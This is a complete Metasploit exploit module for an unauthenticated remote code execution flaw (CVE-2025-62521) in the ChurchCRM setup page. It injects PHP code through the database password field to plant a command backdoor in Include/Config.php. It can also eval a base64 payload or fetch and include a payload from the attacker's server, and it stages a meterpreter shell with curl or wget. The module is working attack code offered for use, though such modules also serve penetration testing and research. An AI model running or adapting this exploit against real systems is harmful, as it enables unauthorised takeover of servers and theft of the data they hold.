## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super( update_info( info, 'Name' => 'ChurchCRM Unauthenticated RCE 6.8.0', 'Description' => %q{ This module exploits an unauthenticated remote code execution vulnerability in the installation process of ChurchCRM versions 6.8.0 and earlier. By sending a specially crafted POST request to the 'setup' page, an attacker can execute arbitrary commands on the target server. This module uploads a meterpreter payload to the target server and executes it, allowing for remote code execution. }, 'License' => MSF_LICENSE, 'Author' => ['LucasCsmt'], 'References' => [ [ 'GHSA', 'm8jq-j3p9-2xf3'], [ 'CVE', '2025-62521'] ], 'Platform' => ['linux', 'php'], 'Targets' => [ [ 'Linux/unix Command (CmdStager)', { 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Platform' => ['linux'], 'Type' => :nix_cmdstager, 'DefaultOptions' => { 'InitialAutoRunScript' => 'post/multi/general/execute COMMAND="rm Include/Config.php"' }, 'CmdStagerFlavor' => [ 'printf', 'echo', 'bourne', 'fetch', 'curl', 'wget' ] } ], [ 'PHP (In-Memory)', { 'Arch' => [ ARCH_PHP ], 'Platform' => ['php'], 'Type' => :php_memory, 'DefaultOptions' => { 'InitialAutoRunScript' => 'post/multi/general/execute COMMAND="php -r \"unlink(\'Include/Config.php\');\""' } } ], [ 'PHP (fetch)', { 'Arch' => [ ARCH_PHP ], 'Platform' => ['php'], 'Type' => :php_fetch, 'DefaultOptions' => { 'InitialAutoRunScript' => 'post/multi/general/execute COMMAND="php -r \"unlink(\'Include/Config.php\');\""' } } ], ], 'DisclosureDate' => '2025-12-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Base path', '/']), ] ) end # Check if the target is up by accessing the setup page def check print_status('Checking if the target is reachable...') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'setup', '/') }) unless res && (res.code == 301 || res.code == 200 || res.code == 302) fail_with(Failure::Unreachable, 'Target is not reachable') return Exploit::CheckCode::Unknown('Target setup page is inaccessible') end version = res.headers['CRM-VERSION'] if version print_status("Found ChurchCRM version: #{version}") if Rex::Version.new(version) <= Rex::Version.new('6.8.0') return Exploit::CheckCode::Appears("Vulnerable version #{version} detected via CRM-VERSION header.") else return Exploit::CheckCode::Safe("Version #{version} is not vulnerable.") end end return Exploit::CheckCode::Appears end # Build the payload that will be into the installation form # # @return : the payload def build_payload case target['Type'] when :php_memory b64_payload = Rex::Text.encode_base64(payload.encoded) "#{rand_text_alpha(3)}'; eval(base64_decode(\"#{b64_payload}\")); //" when :php_fetch start_service payload_name = '/tmp/' + rand_text_alpha(5..10) + '.php' "#{rand_text_alpha(3)}'; $f='#{payload_name}'; file_put_contents($f, file_get_contents('#{get_uri}')); register_shutdown_function('unlink', $f); include($f); //" else "#{rand_text_alpha(3)}'; system($_GET['cmd']); //" end end # Send a POST request to the setup page in order to execute commands def alter_config print_status('Injecting backdoor into Include/Config.php via setup page...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'setup', '/'), 'vars_post' => { 'DB_SERVER_NAME' => rand_text_alpha(5..10), 'DB_SERVER_PORT' => '3306', 'DB_NAME' => rand_text_alpha(5..10), 'DB_USER' => rand_text_alpha(5..8), 'DB_PASSWORD' => build_payload, 'ROOT_PATH' => '/', 'URL' => "http://#{rand_text_alpha(5..10)}.com/" } }) msg = 'Failed to inject backdoor into Include/Config.php. ' \ 'This can happen if the setup process has already been ' \ 'completed or if the target is not vulnerable.' fail_with(Failure::UnexpectedReply, msg) unless res&.code == 200 end # Execute command on the target server # # @param cmd [String] the command to execute def execute_command(cmd, _opts = {}) send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'vars_get' => { 'cmd' => cmd } }) end # Execute PHP code on the target server in order to run the payload def execute_php print_status('Trying to execute the PHP payload') send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) print_good('PHP payload successfully executed') end # Upload the payload to the target server def execute_linux print_status('Uploading payload to the target server...') execute_cmdstager( linemax: 500, nodelete: false, background: true, temp: '/tmp' ) print_good('Payload uploaded successfully.') end # Handles the incoming HTTP request and serves the payload to the target. def on_request_uri(cli, _request) p = payload.encoded send_response(cli, p, { 'Content-Type' => 'application/x-httpd-php', 'Pragma' => 'no-cache' }) end def exploit alter_config case target['Type'] when :nix_cmdstager execute_linux else execute_php end end end